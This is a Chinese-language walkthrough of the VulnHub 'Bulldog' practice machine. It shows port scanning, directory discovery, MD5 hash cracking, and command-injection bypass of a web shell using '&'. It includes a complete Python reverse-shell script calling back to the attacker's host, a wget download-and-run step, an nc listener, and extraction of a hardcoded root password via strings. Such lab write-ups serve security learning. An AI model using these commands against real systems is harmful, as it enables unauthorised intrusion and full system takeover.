===========================
个人收获:
1.dirb挖掘网页目录
2.Linux 可以用&同时执行多条命令
3.Kali利用Python搭建简单HTTP服务器
4.python写的shell反弹脚本
5.利用python pty模块的shell来进行交互
============================
下载地址:https://download.vulnhub.com/bulldog/bulldog.ova
靶机说明
斗牛犬工业公司最近将其网站污损,并由恶意德国牧羊犬黑客团队拥有。这是否意味着有更多的漏洞可以利用?你为什么不知道?:)
这是标准的Boot-to-Root。你唯一的目标是进入根目录并看到祝贺信息,你怎么做取决于你!
难度:初学者/中级,如果遇到困难,试着找出你可以与系统交互的所有不同方式。这是我唯一的暗示;)
目标
- 提权到root权限并查看flag
运行环境
如果把靶机运行在VM下可能会出现一些问题,获取不了IP,需要自己在LINUX恢复模式下调试靶机比较麻烦。
这里我把 靶机运行在Vritual box Kali运行在VM
由于自身环境的原因不想弄乱自己的VM环境
我把靶机的网卡设置为Host-only 然后VM里面的桥接模式网卡设置为Vritual box的Host-only。
这样VM设置为桥接模式就能跟靶机在一个局域网下
下面是我靶机和Kali 的IP
Kali:192.168.56.102
bulldog:192.168.56.101
1.信息收集
主机探测
可以用 nmap -sS 192.168.43.0/24 进行
然后进行服务识别
nmap -A -p 80,23 192.168.56.101
发现ssh服务和web服务,并且web服务为python。
然后对web进行目录挖掘
发现 /admin /dev
打开/admin尝试注入失败
查看/dev/shell发现webshell不能使用
我们查看/dev的源码出现线索
然后我们上MD5免费在线解密破解_MD5在线加密-SOMD5对这里面的MD5进行破解
这里我们选择sarah进行登陆
登陆进去后使用web-shell
这里给我们6个可用的命令,执行其他的命令会被拦截,这里我们用&进行命令组合绕过
然后我们在自己的Kali上用python搭建一个简单HTTP服务器,然靶机下载一个python写的shell反弹脚本
python -m SimpleHTTPServer 80
shell脚本源码:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.56.102",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
然后把文件放到网站目录下(自己的家目录)
然后在web-shell执行以下命令
pwd&wget http://192.168.56.102/python-shell.py
然后我们在Kali上执行
nc -lvp 1234
然后在web-shell上执行反弹脚本
pwd&python python-shell.py
这个时候kali会得到一个shell
然后我们切换目录到 bulldogadmin
这里如果觉得shell命令的显示模式比较难受 可以在xshell下面的cmd栏目里面输入
进入bulldogadmin的家目录后 输入
ls -la 查看全部文件(包括隐藏文件)
发现一个.hiddenadmindirectory
然后我们cd 进入 查看有什么东西
利用string查看可执行文件中的字符
<gadmin/.hiddenadmindirectory$ strings customPermissionApp
/lib64/ld-linux-x86-64.so.2
32S0-t
libc.so.6
puts
__stack_chk_fail
system
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
Usage: ./customPermissionApp <username>
sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.7585
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
customPermissionApp.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
__stack_chk_fail@@GLIBC_2.4
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment
从以上字符大概知道程序的用途
从里面分析出,这个大概是密码
注意每一段后面的H不是密码 需要去除
密码:SUPERultimatePASSWORDyouCANTget
然后执行python shell
sudo python -c 'import pty; pty.spawn("/bin/bash")'
然后输入获得的密码,并切换到root的目录下,
最后 读取flag文件